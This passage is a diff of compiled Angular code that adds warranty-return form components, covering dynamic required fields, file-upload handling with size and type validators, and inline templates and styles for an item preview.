this.warrantyData.requiredFields.filter(x => selectedFields.some(r => r.toLowerCase() === x.name.toLowerCase())).forEach(f => {
|
2432
|
+
if (!this.requiredFieldsFiltered.some(rf => rf.name === f.name)) {
|
2433
|
+
const fieldOption = this.warrantyData.getRuleOption(item.optionId);
|
2434
|
+
this.addRequiredField(f, fieldOption);
|
2435
|
+
}
|
2436
|
+
});
|
2437
|
+
});
|
2438
|
+
this.requiredFieldsFiltered.sort(this.warrantyData.sortFields);
|
2439
|
+
this.removeRequiredFields();
|
2440
|
+
}
|
2441
|
+
this.infoForm.get("reqFieldsList").setValue(this.requiredFieldsFiltered);
|
2442
|
+
}
|
2443
|
+
removeRequiredFields() {
|
2444
|
+
const reqFields = this.infoForm.get("reqFields");
|
2445
|
+
Object.keys(reqFields.controls).forEach(key => {
|
2446
|
+
if (this.requiredFieldsFiltered.findIndex(x => x.formControlName === key) === -1) {
|
2447
|
+
if (!key.startsWith(Constants.base64)) {
|
2448
|
+
reqFields.removeControl(key);
|
2449
|
+
if (reqFields.contains(`${Constants.base64}${key}`)) {
|
2450
|
+
reqFields.removeControl(`${Constants.base64}${key}`);
|
2451
|
+
}
|
2452
|
+
}
|
2453
|
+
}
|
2454
|
+
});
|
2455
|
+
}
|
2456
|
+
addRequiredField(f, option) {
|
2457
|
+
f.formControlName = this.formComponentService.getFormControlName(f.type, f.name);
|
2458
|
+
f.ruleOption = option;
|
2459
|
+
f.locale = this.formComponentService.getFieldLocale(this.infoForm, f, this.warrantyData);
|
2460
|
+
f.order = this.formComponentService.getFieldOrderNumber(f.type);
|
2461
|
+
this.requiredFieldsFiltered.push(f);
|
2462
|
+
const reqFieldsForm = this.infoForm.get("reqFields");
|
2463
|
+
switch (f.type) {
|
2464
|
+
case FieldTypeEnum.invoiceInfo:
|
2465
|
+
reqFieldsForm.addControl(f.formControlName, new FormGroup({
|
2466
|
+
accept: new FormControl(false, Validators.requiredTrue),
|
2467
|
+
orgReference: new FormControl('', Validators.required),
|
2468
|
+
invoiceAddress: new FormControl('', Validators.required),
|
2469
|
+
invoiceReference: new FormControl('', Validators.required),
|
2470
|
+
transportMethod: new FormControl('', Validators.required),
|
2471
|
+
dataValid: new FormControl(false, Validators.requiredTrue),
|
2472
|
+
}, null));
|
2473
|
+
break;
|
2474
|
+
case FieldTypeEnum.inputFile:
|
2475
|
+
reqFieldsForm.addControl(`${Constants.base64}${f.formControlName}`, new FormControl([]));
|
2476
|
+
if (f.isRequired)
|
2477
|
+
reqFieldsForm.addControl(f.formControlName, new FormControl('', [Validators.required, maxFilesValidator(4), maxFileSizeValidator(5), fileTypeNotSupportedValidator(this.allowedFiles)]));
|
2478
|
+
else
|
2479
|
+
reqFieldsForm.addControl(f.formControlName, new FormControl('', [maxFilesValidator(4), maxFileSizeValidator(5), fileTypeNotSupportedValidator(this.allowedFiles)]));
|
2480
|
+
reqFieldsForm.get(f.formControlName).valueChanges
|
2481
|
+
.pipe(takeUntil(this.destroy$))
|
2482
|
+
.subscribe(files => {
|
2483
|
+
reqFieldsForm.get(`${Constants.base64}${f.formControlName}`).setValue([]);
|
2484
|
+
if ((files === null || files === void 0 ? void 0 : files.length) > 0) {
|
2485
|
+
const base64FileControl = reqFieldsForm.get(`${Constants.base64}${f.formControlName}`);
|
2486
|
+
const base64Files = base64FileControl.value;
|
2487
|
+
files.map((file) => {
|
2488
|
+
const reader = new FileReader();
|
2489
|
+
reader.onload = (event) => {
|
2490
|
+
const fileToSend = new WarrantySendDataFile(file.name, event.target.result);
|
2491
|
+
base64Files.push(fileToSend);
|
2492
|
+
base64FileControl.setValue(base64Files);
|
2493
|
+
};
|
2494
|
+
reader.readAsDataURL(file);
|
2495
|
+
});
|
2496
|
+
}
|
2497
|
+
});
|
2498
|
+
break;
|
2499
|
+
default:
|
2500
|
+
if (f.isRequired)
|
2501
|
+
reqFieldsForm.addControl(f.formControlName, new FormControl('', f.type === FieldTypeEnum.inputCheckbox ? Validators.requiredTrue : Validators.required));
|
2502
|
+
else
|
2503
|
+
reqFieldsForm.addControl(f.formControlName, new FormControl(''));
|
2504
|
+
break;
|
2505
|
+
}
|
2506
|
+
}
|
2507
|
+
getCheckboxTitle(f) {
|
2508
|
+
const typeEnum = f.type;
|
2509
|
+
switch (typeEnum) {
|
2510
|
+
case FieldTypeEnum.insuranceCheckbox:
|
2511
|
+
return "wf.insuranceInformation";
|
2512
|
+
case FieldTypeEnum.inputCheckbox:
|
2513
|
+
return `wf.${f.locale}Question`;
|
2514
|
+
default:
|
2515
|
+
return f.locale;
|
2516
|
+
}
|
2517
|
+
}
|
2518
|
+
displayDeliveryDate(component) {
|
2519
|
+
return this.validationService.displayDeliveryDate(this.infoForm, component);
|
2520
|
+
}
|
2521
|
+
displayTransportOption() {
|
2522
|
+
return this.infoForm.contains("transportOption") && this.dynamicFieldsVisible();
|
2523
|
+
}
|
2524
|
+
displayPackageOpenedDisclaimer() {
|
2525
|
+
return this.validationService.displayPackageOpenedDisclaimer(this.infoForm, this.warrantyData);
|
2526
|
+
}
|
2527
|
+
deliveryDateIsValid(component) {
|
2528
|
+
return this.validationService.deliveryDateIsValid(this.infoForm, component);
|
2529
|
+
}
|
2530
|
+
dynamicFieldsVisible() {
|
2531
|
+
var _a;
|
2532
|
+
return ((_a = this.requiredFieldsFiltered) === null || _a === void 0 ? void 0 : _a.length) > 0;
|
2533
|
+
}
|
2534
|
+
acceptCostProposal(rf) {
|
2535
|
+
var _a;
|
2536
|
+
return ((_a = rf.ruleOption) === null || _a === void 0 ? void 0 : _a.localizeVar) === RuleOptionEnum.ruleoptCostProp;
|
2537
|
+
}
|
2538
|
+
onFillDescriptions() {
|
2539
|
+
if (this.infoForm.valid) {
|
2540
|
+
this.fillDescriptions.emit(this.infoForm);
|
2541
|
+
}
|
2542
|
+
}
|
2543
|
+
serialNoExists(f) {
|
2544
|
+
return this.serialNumberService.serialNoExists(f.name, this.infoForm.value.category, this.serialNumber);
|
2545
|
+
}
|
2546
|
+
mergeMessages() {
|
2547
|
+
this.allHelpMessages = this.ruleHelpMessages;
|
2548
|
+
this.vendorProductLimitsFiltered.forEach(i => {
|
2549
|
+
const index = this.allHelpMessages.findIndex(x => x.id === i.localizedMessage.id);
|
2550
|
+
if (index === -1) {
|
2551
|
+
this.allHelpMessages.push(new LocalizedItem(i.localizedMessage.id, i.localizedMessage.text, "", ""));
|
2552
|
+
}
|
2553
|
+
});
|
2554
|
+
}
|
2555
|
+
isValid() {
|
2556
|
+
return this.infoForm.valid && this.dynamicFieldsVisible();
|
2557
|
+
}
|
2558
|
+
onNextStep() {
|
2559
|
+
this.continue.emit();
|
2560
|
+
}
|
2561
|
+
ngOnDestroy() {
|
2562
|
+
this.destroy$.next(true);
|
2563
|
+
this.destroy$.unsubscribe();
|
2564
|
+
}
|
2565
|
+
}
|
2566
|
+
WarrantyInfoComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyInfoComponent, deps: [{ token: WarrantyService }, { token: FormComponentService }, { token: SerialNumberService }, { token: WarrantyValidationService }], target: i0.ɵɵFactoryTarget.Component });
|
2567
|
+
WarrantyInfoComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyInfoComponent, selector: "warranty-info", inputs: { configuration: "configuration", infoForm: "infoForm", warrantyData: "warrantyData", orderLineIndex: "orderLineIndex", serialNumber: "serialNumber", quantityCtrl: ["quantity", "quantityCtrl"] }, outputs: { fillDescriptions: "fillDescriptions", continue: "continue" }, ngImport: i0, template: "<div class=\"return__info\"\r\n [formGroup]=\"infoForm\">\r\n <h3>\r\n {{configuration.titleWarrantyInfoForm | translate}}{{serialNumber ? \":\" : \"\"}}\r\n <span *ngIf=\"serialNumber\">\r\n {{serialNumber}}\r\n </span>\r\n </h3>\r\n\r\n <span class=\"item-title\"\r\n *ngIf=\"warrantyData.orderLines[orderLineIndex].productDescription\">{{warrantyData.orderLines[orderLineIndex].productDescription}}</span>\r\n\r\n <ad-select formControlName=\"vendor\"\r\n [multiple]=\"false\"\r\n [allowFilter]=\"true\"\r\n [placeholder]=\"'wf.choosemanufacturer'|translate\">\r\n <ad-select-option *ngFor=\"let vendor of vendorsFiltered\"\r\n [value]=\"vendor.name\">\r\n {{vendor.vendorName}}\r\n </ad-select-option>\r\n </ad-select>\r\n\r\n <ad-select formControlName=\"category\"\r\n [multiple]=\"false\"\r\n [allowFilter]=\"true\"\r\n [placeholder]=\"'wf.caseconcerntitle'|translate\">\r\n <ad-select-option *ngFor=\"let category of categoriesFiltered\"\r\n [value]=\"category.name\">\r\n {{category.typeName}}\r\n </ad-select-option>\r\n </ad-select>\r\n\r\n <help-message [configuration]=\"configuration\"\r\n [parentForm]=\"infoForm\"\r\n message=\"wf.disclaimerDenmark\"\r\n [messageType]=\"HelpMessageTypeEnum.DisclaimerDk\">\r\n </help-message>\r\n\r\n <div *ngIf=\"displayReturnReason()\">\r\n <ad-select formControlName=\"reasonProductReturn\"\r\n [multiple]=\"false\"\r\n [allowFilter]=\"false\"\r\n [placeholder]=\"returnReasonPlaceholder|translate\">\r\n <ad-select-option *ngFor=\"let opt of returnReasonRuleOptions\"\r\n [value]=\"opt.nodeId\">\r\n {{opt.nodeDescription}}\r\n </ad-select-option>\r\n </ad-select>\r\n </div>\r\n\r\n <div *ngIf=\"returnReasonValid\">\r\n\r\n <div *ngFor=\"let c of components; let i=index\">\r\n\r\n <ad-date-picker *ngIf=\"displayDeliveryDate(c)\"\r\n [variant]=\"'default'\"\r\n [inputLabel]=\"'wf.fillDeliveryDate'|translate\"\r\n [headerLabel]=\"'wf.fillDeliveryDate'|translate\"\r\n [formControlName]=\"'deliveryDate'\">\r\n </ad-date-picker>\r\n\r\n <ad-select *ngIf=\"deliveryDateIsValid(c)\"\r\n [formControlName]=\"c.id\"\r\n [multiple]=\"c.isMultiple\"\r\n [allowFilter]=\"false\"\r\n [required]=\"c.isRequired\"\r\n [placeholder]=\"c.placeholderText|translate\">\r\n <ad-select-option *ngFor=\"let o of c.options\"\r\n [value]=\"o.nodeId\">\r\n {{o.nodeDescription}}\r\n </ad-select-option>\r\n </ad-select>\r\n\r\n <help-message *ngIf=\"this.infoForm.value.deliveryDate && !deliveryDateIsValid(c)\"\r\n message=\"wf.returnLapsed\"\r\n [messageType]=\"HelpMessageTypeEnum.ReturnLapsed\">\r\n </help-message>\r\n </div>\r\n\r\n <ad-select *ngIf=\"displayTransportOption()\"\r\n formControlName=\"transportOption\"\r\n [multiple]=\"false\"\r\n [allowFilter]=\"false\"\r\n [placeholder]=\"'wf.invoicedataTransportation' | translate\">\r\n <ad-select-option *ngFor=\"let method of warrantyData.transportOptions\"\r\n [value]=\"method.code\">\r\n {{method.text}}\r\n </ad-select-option>\r\n </ad-select>\r\n\r\n <help-message message=\"wf.openedPackageDisclaimer\"\r\n [messageType]=\"HelpMessageTypeEnum.OpenedPackage\"\r\n *ngIf=\"displayPackageOpenedDisclaimer()\"></help-message>\r\n </div>\r\n\r\n <div>\r\n <help-message message=\"wf.belowAdministrationFee\"\r\n [messageType]=\"HelpMessageTypeEnum.BelowAdmFee\"\r\n *ngIf=\"!returnReasonValid\"></help-message>\r\n <help-message [messages]=\"allHelpMessages\"></help-message>\r\n\r\n <div *ngIf=\"dynamicFieldsVisible()\"\r\n formGroupName=\"reqFields\">\r\n <div class=\"field\"\r\n [ngClass]=\"{'checkbox': rf.type === 'input-checkbox'}\"\r\n *ngFor=\"let rf of requiredFieldsFiltered\">\r\n <invoice-data *ngIf=\"rf.type === 'input-invoice-info' && acceptCostProposal(rf)\"\r\n [configuration]=\"configuration\"\r\n [warrantyData]=\"warrantyData\"\r\n [reqFields]=\"reqFields\">\r\n </invoice-data>\r\n\r\n <ad-text *ngIf=\"rf.type === 'input-text' && !serialNoExists(rf)\"\r\n [required]=\"rf.isRequired\"\r\n [maxlength]=\"rf.maxLength\"\r\n [formControlName]=\"rf.formControlName!\">\r\n {{\"wf.\" + rf.locale|lowercase|translate}}\r\n </ad-text>\r\n\r\n <div *ngIf=\"rf.type === 'textarea'\">\r\n <ad-textarea [required]=\"rf.isRequired\"\r\n [maxlength]=\"rf.maxLength\"\r\n [formControlName]=\"rf.formControlName!\">\r\n {{\"wf.\" + rf.locale|lowercase|translate}}\r\n </ad-textarea>\r\n <span class=\"small-text\"\r\n *ngIf=\"rf.name === 'describePictureQuality'\">{{'wf.fieldpicturequalitylong'|translate}}\r\n </span>\r\n\r\n <div\r\n *ngIf=\"configuration.returnWithSameReason\">\r\n <ad-button [disabled]=\"!infoForm.valid\"\r\n width=\"full\"\r\n size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"onFillDescriptions()\">{{'wf.fillAll'|translate}}\r\n </ad-button>\r\n </div>\r\n </div>\r\n\r\n <ad-file *ngIf=\"rf.type === 'input-file'\"\r\n [formControlName]=\"rf.formControlName!\"\r\n [accept]=\"allowedFiles\"\r\n [multiple]=\"true\"\r\n [required]='rf.isRequired'\r\n [preview]=\"true\"\r\n dropOnElement=\"body\"\r\n [maxSize]=\"5\">\r\n </ad-file>\r\n\r\n <div *ngIf=\"rf.type === 'insurance-checkbox' || rf.type === 'input-checkbox'\">\r\n <span>{{getCheckboxTitle(rf)|lowercase|translate}}</span>\r\n <ad-checkbox [formControlName]=\"rf.formControlName!\"\r\n [required]=\"rf.isRequired\">{{('wf.'+rf.locale)|lowercase|translate}}\r\n </ad-checkbox>\r\n </div>\r\n </div>\r\n </div>\r\n </div>\r\n\r\n <div *ngIf=\"!configuration.isCompletedOrderCase\">\r\n <div class=\"return__forward\">\r\n <ad-button [disabled]=\"!isValid()\"\r\n size=\"large\"\r\n variant=\"primary\"\r\n (onClick)=\"onNextStep()\">{{'wf.continue'|translate}}\r\n <ad-icon [name]=\"'ic_arrow-right.svg'\"></ad-icon> \r\n </ad-button>\r\n </div>\r\n </div>\r\n</div>", styles: [":root{--color-primary: hsl(202, 9%, 33%);--color-secondary: hsl(87, 69%, 30%);--color-grey-40-dark: hsl(202, 9%, 13%);--color-grey-20-dark: hsl(202, 9%, 23%);--color-grey: hsl(202, 9%, 33%);--color-grey-20-light: hsl(202, 9%, 43%);--color-grey-40-light: hsl(202, 9%, 53%);--color-grey-60-light: hsl(202, 9%, 63%);--color-grey-80-light: hsl(202, 9%, 73%);--color-grey-100-light: hsl(202, 9%, 93%);--color-green: #008a00;--color-green-hover: #007c00;--text-standard-color: var(--color-grey-40-dark);--background-standard-hover-color: hsl(180, 5%, 96%);--color-btn-primary-default: hsl(202, 9%, 33%);--color-btn-primary-hover: hsl(200, 9%, 13%);--color-btn-primary-label: hsl(255, 100%, 100%);--color-btn-secondary-default: hsl(87, 69%, 40%);--color-btn-secondary-hover: hsl(87, 69%, 30%);--color-btn-secondary-label: hsl(255, 100%, 100%);--color-btn-danger-default: hsl(358, 56%, 50%);--color-btn-danger-hover: hsl(358, 56%, 42%);--color-btn-danger-label: hsl(255, 100%, 100%);--color-btn-disabled-default: hsl(200, 14%, 60%);--color-btn-disabled-label: hsl(255, 100%, 100%);--color-white: hsl(255, 100%, 100%);--transition-btn: cubic-bezier(.4, 0, 1, 1);--element-scrollbar-thumb: hsl(204, 4.9%, 60%);--element-scrollbar-track: hsl(180, 2.9%, 93.1%)}::ng-deep :root{--select-bg: white;--select-bg-hover: #f7f7f7;--dropdown-border-color: #dbdddf}h3{font-size:1.1666666667rem;letter-spacing:-.05859375rem;font-weight:400}h3 span{font-weight:bold}.return__info{flex-shrink:0;display:flex;flex-direction:column;margin:0;padding:30px 30px 0;animation:fadeInSlideIn .55s}.return__info .item-title{line-height:100%}.ad__select{border-color:#dbdddf;border-color:var(--dropdown-border-color);background-color:var(--select-bg);transition:background-color .15s;background-color:#fff;border-width:1px;border-style:solid;position:relative;align-items:center;display:flex;width:100%;padding:15px 20px;border-radius:4px;box-shadow:0 6px 12px #00000008,0 4px 8px #00000008,0 2px 4px #00000008;outline:none}.ad__select:hover{background-color:#f7f7f7;background-color:var(--select-bg-hover);cursor:pointer}.ad__select--icon{position:absolute;right:14px;width:24px;height:24px}.content__filters{display:flex;z-index:2}.content__filters .content__filters-search{width:230px;position:relative;flex-shrink:0;flex-grow:0}.content__filters .input__text{margin:14px 0 6px}.content__filters .input__text .input__icon-img{position:absolute;bottom:11px;width:21px;opacity:.9}.content__filters .input__text .input__icon-img.input__icon-left{left:0}.content__filters .input__text .input__icon-img.input__icon-right{top:24px;right:0}.content__filters .content__filters-search-value{color:#71797d;font-size:.75rem;font-weight:600;text-transform:uppercase;opacity:1;position:absolute;bottom:-8px;left:0;width:100%}.content__filters .content__filters-items{width:100%;margin:4px 0 0 50px;height:45px;color:#4d575d;display:flex;z-index:3}.content__filters .content__filters-items .content__filters-items-title{font-weight:600;order:0;margin:22px 24px 0 0;flex-shrink:0}.content__filters .content__filters-items .content__filters-items-title:after{content:\":\"}.content__filters .filter__more--open--btn{display:none;padding:5px 0 0;margin:0 0 0 auto;align-items:center;justify-content:flex-end;opacity:.9}.content__filters .filter__more--open--btn:active{opacity:.75}.content__filters .filter__more--open--btn span{font-weight:600;color:#4d575d}.content__filters .filter__more--open--btn svg-icon{transform:rotate(90deg);width:16px;margin:0 0 0 5px}.content__filters .filter__more--open--btn:hover{cursor:pointer}.filter__date,.filter__checkbox{margin-top:4px}.filter__item{position:relative;margin:4px 10px;transition:width .2s;width:160px;min-width:110px;flex-shrink:1;white-space:nowrap}.filter__item.filter__item-dropdown-range{width:170px}.filter__item .filter__item-name{display:flex;align-items:center;cursor:default;width:100%;color:var(--color-green);letter-spacing:-.0375rem;font-weight:600}.filter__item .filter__item-name svg,.filter__item .filter__item-name svg-icon{width:20px;height:20px;margin:0 0 0 5px}.filter__item .filter__item-name ad-select,.filter__item .filter__item-name ad-button{margin:-7px;width:0px}.filter__item .filter__item-name.filter__dropdown{cursor:pointer}.filter__item .filter__item-name img,.filter__item .filter__item-name label{pointer-events:none;max-width:calc(100% - 20px);overflow:hidden;text-overflow:ellipsis}.filter__item .filter__item-value{display:flex;align-items:center;margin:8px 0 0;padding-left:0!important;padding-right:0!important}.filter__item .filter__item-value-text{color:#4d575d;font-size:.8125rem;font-weight:600;line-height:150%;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;padding-right:0!important;padding-left:0!important}.filter__item .filter__item-value-remove{width:16px;height:16px;margin:0 0 0 6px;opacity:.6;padding-right:0!important;padding-left:0!important;flex-shrink:0;flex-grow:0}.filter__item .filter__item-value-remove:hover{cursor:pointer;opacity:1}.filter__item .filter__item-value-remove svg{margin:0}.return__forward{margin-top:10px;border-top:1px solid #dbdddf;justify-content:flex-end;align-items:center;display:flex}.field{margin-bottom:40px}.field.checkbox{margin-bottom:10px}.small-text{margin-top:.25rem;font-size:.875em;color:#6c757d}.disabled{pointer-events:none}\n"], components: [{ type: i1$1.SelectComponent, selector: "ad-select", inputs: ["id", "disabled", "value", "multiple", "allowFilter", "placeholder", "labelProperty"] }, { type: i1$1.SelectOptionComponent, selector: "ad-select-option", inputs: ["disabled", "id", "value"], outputs: ["onSelectionChange"] }, { type: HelpMessageComponent, selector: "help-message", inputs: ["configuration", "parentForm", "message", "messages", "messageType"] }, { type: i1$1.DatePickerComponent, selector: "ad-date-picker", inputs: ["options", "variant", "id", "inputLabel", "startLabel", "endLabel", "headerLabel", "disabled", "min", "max"] }, { type: InvoiceDataComponent, selector: "invoice-data", inputs: ["configuration", "reqFields", "reqLocale", "reuseInvoiceInfo", "warrantyData"] }, { type: i1$1.TextInputComponent, selector: "ad-text", inputs: ["type", "variant", "disabled", "placeholder"] }, { type: i1$1.TextareaInputComponent, selector: "ad-textarea", inputs: ["disabled", "required"] }, { type: i1$1.ButtonComponent, selector: "ad-button", inputs: ["type", "variant", "width", "size", "className", "loading", "disabled"], outputs: ["onClick"] }, { type: i1$1.FileInputComponent, selector: "ad-file", inputs: ["id", "disabled", "multiple", "preview", "dropOnElement", "maxSize", "accept"] }, { type: i1$1.ToggleCheckboxComponent, selector: "ad-checkbox", inputs: ["id", "disabled"] }, { type: i1$1.ɵe, selector: "ad-icon", inputs: ["size", "color", "width", "height", "placement", "name", "title"] }], directives: [{ type: i3.NgControlStatusGroup, selector: "[formGroupName],[formArrayName],[ngModelGroup],[formGroup],form:not([ngNoForm]),[ngForm]" }, { type: i3.FormGroupDirective, selector: "[formGroup]", inputs: ["formGroup"], outputs: ["ngSubmit"], exportAs: ["ngForm"] }, { type: i2.NgIf, selector: "[ngIf]", inputs: ["ngIf", "ngIfThen", "ngIfElse"] }, { type: i3.NgControlStatus, selector: "[formControlName],[ngModel],[formControl]" }, { type: i3.FormControlName, selector: "[formControlName]", inputs: ["disabled", "formControlName", "ngModel"], outputs: ["ngModelChange"] }, { type: i2.NgForOf, selector: "[ngFor][ngForOf]", inputs: ["ngForOf", "ngForTrackBy", "ngForTemplate"] }, { type: i3.RequiredValidator, selector: ":not([type=checkbox])[required][formControlName],:not([type=checkbox])[required][formControl],:not([type=checkbox])[required][ngModel]", inputs: ["required"] }, { type: i3.FormGroupName, selector: "[formGroupName]", inputs: ["formGroupName"] }, { type: i2.NgClass, selector: "[ngClass]", inputs: ["class", "ngClass"] }, { type: i3.MaxLengthValidator, selector: "[maxlength][formControlName],[maxlength][formControl],[maxlength][ngModel]", inputs: ["maxlength"] }], pipes: { "translate": i4.TranslatePipe, "lowercase": i2.LowerCasePipe } });
|
2568
|
+
i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyInfoComponent, decorators: [{
|
2569
|
+
type: Component,
|
2570
|
+
args: [{
|
2571
|
+
selector: 'warranty-info',
|
2572
|
+
templateUrl: './warranty-info.component.html',
|
2573
|
+
styleUrls: ['./warranty-info.component.scss']
|
2574
|
+
}]
|
2575
|
+
}], ctorParameters: function () { return [{ type: WarrantyService }, { type: FormComponentService }, { type: SerialNumberService }, { type: WarrantyValidationService }]; }, propDecorators: { configuration: [{
|
2576
|
+
type: Input
|
2577
|
+
}], infoForm: [{
|
2578
|
+
type: Input
|
2579
|
+
}], warrantyData: [{
|
2580
|
+
type: Input
|
2581
|
+
}], orderLineIndex: [{
|
2582
|
+
type: Input
|
2583
|
+
}], serialNumber: [{
|
2584
|
+
type: Input
|
2585
|
+
}], quantityCtrl: [{
|
2586
|
+
type: Input,
|
2587
|
+
args: ["quantity"]
|
2588
|
+
}], fillDescriptions: [{
|
2589
|
+
type: Output
|
2590
|
+
}], continue: [{
|
2591
|
+
type: Output
|
2592
|
+
}] } });
|
2593
|
+
|
2594
|
+
class TroubleshootingOption {
|
2595
|
+
constructor(Question, Answer) {
|
2596
|
+
this.Question = Question;
|
2597
|
+
this.Answer = Answer;
|
2598
|
+
}
|
2599
|
+
}
|
2600
|
+
|
2601
|
+
class Invoice {
|
2602
|
+
constructor(invoiceAddress, invoiceRef) {
|
2603
|
+
this.invoiceAddress = invoiceAddress;
|
2604
|
+
this.invoiceRef = invoiceRef;
|
2605
|
+
}
|
2606
|
+
}
|
2607
|
+
class InvoiceInformation extends Invoice {
|
2608
|
+
constructor(invoiceAddress, invoiceRef, customerNumber, transportation) {
|
2609
|
+
super(invoiceAddress, invoiceRef);
|
2610
|
+
this.customerNumber = customerNumber;
|
2611
|
+
this.transportation = transportation;
|
2612
|
+
}
|
2613
|
+
}
|
2614
|
+
|
2615
|
+
class WarrantyPreviewItemComponent {
|
2616
|
+
constructor(formComponentService) {
|
2617
|
+
this.formComponentService = formComponentService;
|
2618
|
+
this.isOpen = false;
|
2619
|
+
this.reqFields = [];
|
2620
|
+
this.files = [];
|
2621
|
+
this.checkboxes = [];
|
2622
|
+
this.verifyCablesObjects = false;
|
2623
|
+
this.selectedSerialNumbers = [];
|
2624
|
+
}
|
2625
|
+
get infoForm() {
|
2626
|
+
return this.lineForm.get("info");
|
2627
|
+
}
|
2628
|
+
get FieldTypeEnum() {
|
2629
|
+
return FieldTypeEnum;
|
2630
|
+
}
|
2631
|
+
ngOnInit() {
|
2632
|
+
this.vendor = this.warrantyData.getVendorByCode(this.infoForm.value.vendor);
|
2633
|
+
this.category = this.warrantyData.getCategoryByName(this.infoForm.value.category);
|
2634
|
+
this.returnReason = this.getProductReturnReason();
|
2635
|
+
this.transportOption = this.warrantyData.getTransportOption(this.infoForm.value.transportOption);
|
2636
|
+
const formFields = this.infoForm.get("reqFields");
|
2637
|
+
const serialNumbers = this.lineForm.get("serialNumbers").value;
|
2638
|
+
if ((serialNumbers === null || serialNumbers === void 0 ? void 0 : serialNumbers.length) > 0) {
|
2639
|
+
this.selectedSerialNumbers = serialNumbers
|
2640
|
+
.filter(i => i.isChecked)
|
2641
|
+
.map(x => x.serial);
|
2642
|
+
}
|
2643
|
+
;
|
2644
|
+
Object.keys(formFields.controls)
|
2645
|
+
.filter(key => !key.startsWith(Constants.base64))
|
2646
|
+
.forEach(key => {
|
2647
|
+
const fieldName = key.substring(key.indexOf("returnHardware-") + 15);
|
2648
|
+
const field = this.warrantyData.requiredFields.find(x => x.name === fieldName);
|
2649
|
+
field.order = this.formComponentService.getFieldOrderNumber(field.type);
|
2650
|
+
switch (field.type) {
|
2651
|
+
case FieldTypeEnum.invoiceInfo:
|
2652
|
+
const transportMethod = this.warrantyData.getTransportOption(formFields.controls[key].get("transportMethod").value);
|
2653
|
+
this.invoiceInformation = new InvoiceInformation(formFields.controls[key].get("invoiceAddress").value, formFields.controls[key].get("invoiceReference").value, formFields.controls[key].get("orgReference").value, transportMethod);
|
2654
|
+
break;
|
2655
|
+
case FieldTypeEnum.inputFile:
|
2656
|
+
const filesValue = this.infoForm.get("reqFields").get(key).value;
|
2657
|
+
if ((filesValue === null || filesValue === void 0 ? void 0 : filesValue.length) > 0) {
|
2658
|
+
filesValue.map(v => this.files.push(v.name));
|
2659
|
+
}
|
2660
|
+
this.reqFields.push(field);
|
2661
|
+
break;
|
2662
|
+
case FieldTypeEnum.inputText:
|
2663
|
+
case FieldTypeEnum.textarea:
|
2664
|
+
this.reqFields.push(field);
|
2665
|
+
break;
|
2666
|
+
case FieldTypeEnum.inputCheckbox:
|
2667
|
+
case FieldTypeEnum.insuranceCheckbox:
|
2668
|
+
if (formFields.controls[field.formControlName].value === true) {
|
2669
|
+
if (field.name === "verifycables") {
|
2670
|
+
this.verifyCablesObjects = true;
|
2671
|
+
}
|
2672
|
+
else {
|
2673
|
+
this.checkboxes.push(field);
|
2674
|
+
}
|
2675
|
+
}
|
2676
|
+
break;
|
2677
|
+
}
|
2678
|
+
});
|
2679
|
+
this.reqFields.sort(this.warrantyData.sortFields);
|
2680
|
+
}
|
2681
|
+
displayReason() {
|
2682
|
+
if (this.configuration.isWarranty) {
|
2683
|
+
switch (this.configuration.defConfig.country) {
|
2684
|
+
case CountriesEnum.DK:
|
2685
|
+
case CountriesEnum.SE:
|
2686
|
+
return false;
|
2687
|
+
}
|
2688
|
+
}
|
2689
|
+
return true;
|
2690
|
+
}
|
2691
|
+
getRequireFieldValue(key) {
|
2692
|
+
return this.infoForm.get("reqFields").get(key).value;
|
2693
|
+
}
|
2694
|
+
getSerialNumber() {
|
2695
|
+
const serialNumber = this.lineForm.value.serialNumbers.find(i => i.isChecked);
|
2696
|
+
return serialNumber ? serialNumber.serial : "";
|
2697
|
+
}
|
2698
|
+
getProductReturnReason() {
|
2699
|
+
if (this.troubleshootingOptions.length > 1) {
|
2700
|
+
return this.troubleshootingOptions[this.troubleshootingOptions.length - 2].Answer[0];
|
2701
|
+
}
|
2702
|
+
return this.warrantyData.getRuleOption(this.infoForm.value.reasonProductReturn).nodeDescription;
|
2703
|
+
}
|
2704
|
+
onFocus() {
|
2705
|
+
this.isOpen = true;
|
2706
|
+
}
|
2707
|
+
onBlur() {
|
2708
|
+
this.isOpen = false;
|
2709
|
+
}
|
2710
|
+
}
|
2711
|
+
WarrantyPreviewItemComponent.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WarrantyPreviewItemComponent, deps: [{ token: FormComponentService }], target: i0.ɵɵFactoryTarget.Component });
|
2712
|
+
WarrantyPreviewItemComponent.ɵcmp = i0.ɵɵngDeclareComponent({ minVersion: "12.0.0", version: "12.2.16", type: WarrantyPreviewItemComponent, selector: "warranty-preview-item", inputs: { configuration: "configuration", warrantyData: "warrantyData", lineForm: "lineForm", troubleshootingOptions: "troubleshootingOptions", serialNumberEmptyOrder: "serialNumberEmptyOrder", productNumberEmptyOrder: "productNumberEmptyOrder", productModelEmptyOrder: "productModelEmptyOrder" }, ngImport: i0, template: "<div class=\"flex--column\">\r\n <div class=\"flex--row\">\r\n <div class=\"return__order--item\"\r\n *ngIf=\"displayReason()\">\r\n <span class=\"return__order--item-title\">{{'wf.reason'|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"returnReason\">{{returnReason}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{'wf.choosemanufacturer'|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"vendor.vendorName\">{{vendor.vendorName}}</span>\r\n </div>\r\n <div class=\"return__order--item\">\r\n <span class=\"return__order--item-title\">{{'wf.caseconcerntitle'|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"category.typeName\">{{category.typeName}}</span>\r\n </div>\r\n </div>\r\n <div class=\"flex--row\">\r\n <div class=\"return__order--item\"\r\n *ngFor=\"let option of troubleshootingOptions\">\r\n <span class=\"return__order--item-title\">{{option.Question|translate}}</span>\r\n <span class=\"return__order--item-information\" [title]=\"answer|translate\"\r\n *ngFor=\"let answer of 